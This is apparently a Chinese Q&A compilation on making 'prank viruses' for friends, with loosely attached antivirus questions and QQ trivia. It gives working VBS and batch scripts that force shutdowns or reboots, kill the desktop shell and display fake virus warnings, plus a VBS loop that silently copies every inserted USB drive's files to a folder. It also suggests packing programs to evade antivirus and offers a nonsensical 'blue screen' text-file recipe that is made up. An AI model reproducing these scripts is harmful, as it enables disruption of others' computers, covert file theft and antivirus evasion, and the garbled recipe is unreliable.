如何制作恶搞电脑病毒?

有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!

恶搞电脑病毒代码介绍一：

首先在电脑上新建一个TXT文档

然后把下面这段代码输入进去

On Error Resume Next

Dim WSHshellA

Set WSHshellA = wscript.CreateObject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True

Dim a

Do While (a <>"我是猪")

a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)

MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"

Loop

MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"

WSHshella.run "cmd.exe /c shutdown -a"

然后保存

然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，

你要修改为.VBS的后缀

恶搞电脑病毒代码介绍二：

新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他

他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)

恶搞电脑病毒代码介绍三：

新建一个文本文档(.txt)，要复制以下代码：

@echo off

color 4

tskill explorer

echo .

echo .

echo .

echo .

echo 警告：在病毒执行期间禁止关闭电源，

echo 否则你就和你心爱的电脑说

echo .

echo . BYE-BYE

echo .

echo Computer system crash!

echo .

echo .

echo I am a virus, my name is Ghost.

echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。

echo .

echo . Warning! CPU has been changed please re-enter CPU settings

echo. in the CMOS setuo and remember to save before quit.

echo. Secondary IDE channel no 80 conductor cable installed.

set /p select=:)

if "%select%"=="" goto start

:start

shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"

::结束

再另存为：名字.bat 你要记住"名字"后面要加".bat"

就可以了，没有任何破坏性，吓吓人。

你可以试试看看效果。

制作了一个恶搞程式,360说它是病毒,怎样掩饰这个才能不被360发现呢?

你只能给恶意程式加壳，但360的病毒库更新速度很快，很难不被发现。

怎么掩饰悲伤才能不被发现

伪装没事的样子，保持自己的沉默。

360nav程式被360拦截，请问这个是病毒吗？

不是病毒。360拦截 很乱的，比如一个游戏启动 360自动拦截这个游戏的一个档案，让你玩不了。一个迅雷，你开启 一个档案被360拦截 你就打开不了迅雷…

手机突然出现crylocd这个程式，它是病毒程式吗

这个是不是病毒，可以安装个好点的防毒软体，例如腾讯手机管家就不错。

它可以自动更新病毒库，可以查杀最新的病毒。防毒防护二合一级可以防毒，又可以预防病毒。我的手机也是安卓系统的，之前换了几个防毒软体了，现在一直用的是腾讯手机管家，

腾讯手机管家能有效清除侵入您手机中的恶意软体和病毒。

电脑里发现了一个程式叫nativedeskmediaservice 这是什么？是病毒吗？

对于这个程序你可以使用360安全卫士主介面的更多里边的360工作管理员来检视，它可以让你知道这个程序是哪个软体的。

如何制作一个恶搞的病毒啊

做一个VBS好了，既简单有好玩，至于程式码 我不知道你有什么要求，可以去网上搜一下 我这里给你一个U盘自动插入自动拷贝的程式码吧（勿拷贝，绝对原创）：

on error resume next

set fso=createobject("scripting.filesystemobject")

do

set disks=fso.drives

for each disk in disks

if disk.isready and disk.drivetype=1 then

if not fso.FolderExists("e:\a") then

fso.CreateFolder ("e:\a")

else

set copy=createobject("scripting.filesystemobject")

copy.copyfile disk.driveletter&":\*.*","e:\a",false

copy.copyfolder disk.driveletter&":\*","e:\a",false

end if

end if

next

loop

adware.dm是不是病毒？怎么ewido说它是病毒？

ad是广告的意思,adware就是广告软体了,有些流氓软体经常会d出广告,或则会经常在你的浏览器里加一些广告,例如著名的流氓"3721"等等.所以ewido把他列入了查杀的范围,但他不是病毒.这些垃圾最好都删除掉,要不然每天上网老是d出广告,影响心情~

求一个恶搞病毒的制作方法

1做个最大化winform视窗 上面放个pictureBox用来放女鬼 pictureBox.dock=fill

2之后用到钩子 禁止滑鼠和键盘的 *** 作

3用回圈语句不断申请记忆体空间

4加入关机程式码

怎样才能使CAD不被360当做病毒吗?

貌似在白名单里可以设定的，分别新增白名单“*.dwt”、“*.dws”、“*.dxf”、“*.dxg”（不包括引号）即可。不建议使用360，它是一个不安好心的流氓软体。

guvukh.dll这个档案是不是病毒.360保险箱说它入侵了QQ

是,要小心

其实这个群友召唤术是一个恶搞病毒，可以对所有的群员发送一个通知并进行d窗提示，即使是群员也可以进行艾特全体的作用。

QQ（Tencent QQ）是腾讯公司借鉴于ICQ开发的一款基于Internet的即时通信软件，于1999年2月推出。

QQ支持在线聊天、视频通话、共享文件、网络硬盘、自定义面板、QQ邮箱等多种功能，并可与多种通讯终端相连，曾位列《2020胡润品牌榜》第27名。

---